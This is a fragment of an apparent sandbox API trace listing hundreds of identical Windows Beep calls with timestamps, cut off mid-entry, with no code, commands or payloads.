[0069.294] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0069.296] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0069.296] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0069.300] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0069.302] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0069.321] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0069.334] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0069.351] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0069.353] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0069.360] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0069.375] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0069.395] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0069.409] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0069.424] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0069.439] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0069.459] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0069.473] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0069.492] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0069.506] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0069.521] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0069.537] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0069.563] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0069.570] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0069.589] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0069.600] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0069.617] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0069.618] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0069.636] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0069.652] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0069.654] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0069.658] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0069.664] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0069.675] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0069.692] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0069.725] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0069.728] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0069.729] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0069.730] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0069.733] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0069.735] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0069.758] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0069.767] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0069.783] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0069.789] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0069.806] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0069.816] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0069.817] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0069.839] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0069.849] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0069.866] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0069.866] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0069.883] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0069.898] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0069.900] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0069.902] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0069.903] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0069.906] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0069.907] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0069.929] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0069.939] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0069.960] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0069.977] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0069.988] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0070.004] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0070.009] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0070.025] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0070.036] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0070.038] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0070.041] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0070.043] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0070.045] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0070.045] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0070.047] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0070.070] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0070.079] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0070.094] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0070.096] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0070.097] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0070.100] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0070.102] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0070.105] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0070.121] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0070.135] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0070.151] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0070.154] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0070.169] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0070.197] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0070.205] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0070.221] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0070.236] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0070.250] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0070.264] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0070.267] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0070.267] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0070.269] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0070.272] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0070.274] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0070.290] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0070.310] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0070.323] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0070.348] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0070.357] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0070.370] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0070.395] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0070.404] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0070.419] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0070.420] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0070.444] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0070.453] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0070.471] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0070.486] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0070.502] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0070.504] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0070.508] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0070.510] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0070.530] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0070.541] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0070.561] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0070.575] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0070.591] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0070.593] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0070.595] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0070.597] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0070.599] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0070.600] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0070.621] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0070.631] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0070.651] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0070.668] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0070.681] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0070.681] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0070.708] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0070.717] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0070.730] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0070.759] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0070.766] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0070.783] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0070.798] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0070.812] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0070.827] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0070.829] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0070.831] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0070.835] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0070.837] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0070.853] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0070.867] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0070.884] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0070.886] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0070.888] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0070.893] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0070.912] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0070.927] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0070.943] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0070.945] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0070.950] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0070.952] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0070.969] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0070.983] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0071.003] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0071.018] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0071.032] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0071.053] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0071.069] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0071.085] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0071.098] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0071.101] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0071.102] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0071.107] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0071.127] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0071.141] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0071.158] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0071.161] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0071.168] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0071.184] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0071.206] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0071.214] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0071.228] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0071.237] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0071.256] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0071.264] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0071.279] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0071.294] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0071.310] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0071.328] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0071.345] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0071.359] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0071.375] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0071.377] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0071.378] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0071.379] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0071.383] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0071.402] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0071.416] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0071.431] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0071.434] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0071.434] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0071.436] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0071.440] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0071.442] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0071.458] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0071.473] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0071.489] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0071.493] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0071.512] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0071.524] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0071.540] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0071.542] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0071.545] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0071.548] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0071.572] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0071.588] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0071.596] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0071.611] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0071.627] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0071.643] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0071.665] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0071.680] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0071.694] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0071.711] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0071.713] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0071.721] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0071.736] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0071.751] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0071.768] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0071.770] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0071.775] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0071.796] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0071.807] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0071.822] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0071.824] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0071.825] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0071.826] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0071.826] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0071.830] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0071.849] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0071.863] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0071.884] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0071.886] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0071.888] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0071.892] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0071.908] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0071.950] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0071.954] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0071.980] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0071.998] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0072.000] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0072.007] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0072.009] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0072.025] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0072.045] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0072.055] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0072.059] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0072.078] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0072.095] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0072.104] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0072.122] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0072.124] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0072.128] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0072.153] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0072.161] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0072.179] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0072.199] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0072.201] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0072.203] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0072.204] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0072.209] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0072.225] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0072.248] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0072.261] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0072.272] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0072.274] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0072.276] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0072.280] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0072.282] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0072.299] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0072.314] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0072.331] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0072.333] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0072.334] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0072.340] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0072.357] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0072.371] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0072.390] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0072.392] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0072.394] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0072.397] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0072.413] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0072.429] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0072.448] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0072.450] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0072.457] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0072.472] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0072.486] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0072.501] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0072.503] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0072.504] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0072.505] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0072.509] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0072.533] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0072.541] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0072.562] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0072.579] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0072.590] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0072.609] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0072.627] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0072.645] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0072.647] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0072.654] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0072.669] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0072.684] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0072.698] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0072.702] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0072.721] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0072.734] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0072.750] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0072.752] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0072.753] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0072.754] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0072.758] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0072.760] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0072.777] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0072.791] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0072.811] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0072.827] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0072.841] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0072.858] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0072.860] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0072.869] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0072.884] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0072.899] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0072.916] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0072.918] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0072.927] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0072.940] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0072.959] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0072.973] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0072.996] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0073.005] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0073.027] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0073.046] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0073.056] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0073.069] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0073.071] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0073.097] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0073.143] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0073.347] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0073.369] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0073.388] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0073.415] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0073.416] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0073.477] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0073.481] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0073.504] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0073.512] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0073.527] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0073.528] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0073.534] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0073.551] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0073.560] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0073.588] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0073.593] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0073.609] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0073.624] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0073.626] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0073.631] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0073.633] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0073.634] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0073.635] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0073.653] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0073.674] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0073.692] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0073.701] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0073.722] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0073.732] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0073.755] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0073.775] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0073.787] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0073.800] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0073.807] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0073.827] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0073.837] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0073.850] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0073.859] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0073.866] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0073.887] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0073.900] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0073.915] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0073.932] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0073.949] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0073.951] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0073.956] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0073.975] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0073.988] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0074.004] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0074.006] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0074.007] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0074.008] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0074.009] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0074.012] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0074.014] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0074.030] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0074.050] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0074.062] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0074.078] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0074.096] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0074.109] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0074.110] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0074.136] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0074.144] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0074.159] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0074.187] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0074.203] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0074.210] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0074.214] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0074.215] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0074.217] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0074.236] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0074.248] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0074.266] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0074.288] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0074.297] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0074.314] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0074.331] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0074.347] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0074.371] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0074.379] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0074.396] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0074.422] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0074.433] Beep 